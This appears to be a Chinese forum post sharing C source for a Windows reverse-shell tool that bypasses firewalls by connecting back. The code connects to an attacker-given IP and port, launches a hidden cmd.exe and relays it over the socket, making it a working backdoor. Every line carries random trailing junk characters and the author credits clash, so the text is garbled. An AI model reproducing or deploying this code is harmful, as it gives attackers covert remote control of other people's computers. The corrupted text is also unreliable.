这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]K+8f-
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/* ============================== >}/T&S
Rebound port in Windows NT ?BbEQr
By wind,2006/7 GP x+]Jw8\
===============================*/ C`uL
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#include >|0I\{C
#include '$VP\Gj.
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#pragma comment(lib,"wsock32.lib") t.
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void OutputShell(); ]bbP_n8
SOCKET sClient; 3NdO3-~)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $oJjgA xcZ
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void main(int argc,char **argv) %L$?Mey
{ 8w#4T:hsuN
WSADATA stWsaData; 4pZKm-dM^
int nRet; ~+,ZD)AKi4
SOCKADDR_IN stSaiClient,stSaiServer; jAovzZ6BL
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if(argc != 3) :2+z_+k}<
{ 3#aLCpVla
printf("Useage:\n\rRebound DestIP DestPort\n"); #GfM^sK
return; =iB$4d2
} ;Zc0imYL
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WSAStartup(MAKEWORD(2,2),&stWsaData); *^XMf
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i>C%[dk9
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stSaiClient.sin_family = AF_INET; 99%R/m
stSaiClient.sin_port = htons(0); C' WX$!$d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =$ T[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~@e=+Z
{ ,|]k4F
printf("Bind Socket Failed!\n"); I,"q:QS+
return; b2RW=m-
} 9!0-~,o
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stSaiServer.sin_family = AF_INET; ^W`RBrJay
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x_ <,GE@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~S<}q6H.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5g;mc.Cvt
{ /g8nT1k
printf("Connect Error!"); muDOY~.
return; L>lxkq8!Q
} [h>A<O
OutputShell(); fJ=(oF=
} k^#*x2b
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void OutputShell() '}OAl
{ iG"1~/U
char szBuff[1024]; r1z+yx
SECURITY_ATTRIBUTES stSecurityAttributes; m:k;?p:x
OSVERSIONINFO stOsversionInfo; [.$/o}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p9!jM\(
STARTUPINFO stStartupInfo; A;e"_$yt8
char *szShell; `=kiqF2P}
PROCESS_INFORMATION stProcessInformation; d7uS[tKqg
unsigned long lBytesRead; #Fgybokm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gt=@v())
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5A%Uv*
stSecurityAttributes.lpSecurityDescriptor = 0; #iRd2Qj%
stSecurityAttributes.bInheritHandle = TRUE; FTzc,6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {IF$\{Al
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Zrew}0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BQv*8Hg
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A'D2uV
stStartupInfo.wShowWindow = SW_HIDE; @wVDe\% ,
stStartupInfo.hStdInput = hReadPipe; 9lkl-b6xG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w}M)]kY
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GetVersionEx(&stOsversionInfo); 4tvZJS
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switch(stOsversionInfo.dwPlatformId) dsK*YY jH
{ ]4'V59\
case 1: q4vHsy36
szShell = "command.com"; '$4&q629d
break; dIA1\;@
default: [(vV45(E
szShell = "cmd.exe"; NFG~PZ`6R
break; YpG6p0
nd
} 67||wh.BU
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]w]:9w
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send(sClient,szMsg,77,0); 1M?Sl?+j
while(1) gQeoCBCE
{ dV^ck+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j*~z.Q |
if(lBytesRead) Z}IuR|=
{ +O8}twt@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <d[GGkY]=
send(sClient,szBuff,lBytesRead,0); {+gK\Nz
} )/z+W[t
else l{\k\Q !4
{ :>jzL8
lBytesRead=recv(sClient,szBuff,1024,0); ;0Ih:YY6
if(lBytesRead<=0) break; Shss};QZf(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6kONuG7Yv
} `:dGPBBO
} }{[p<pU$C
++!0r['+>
return; sD6vHX%
}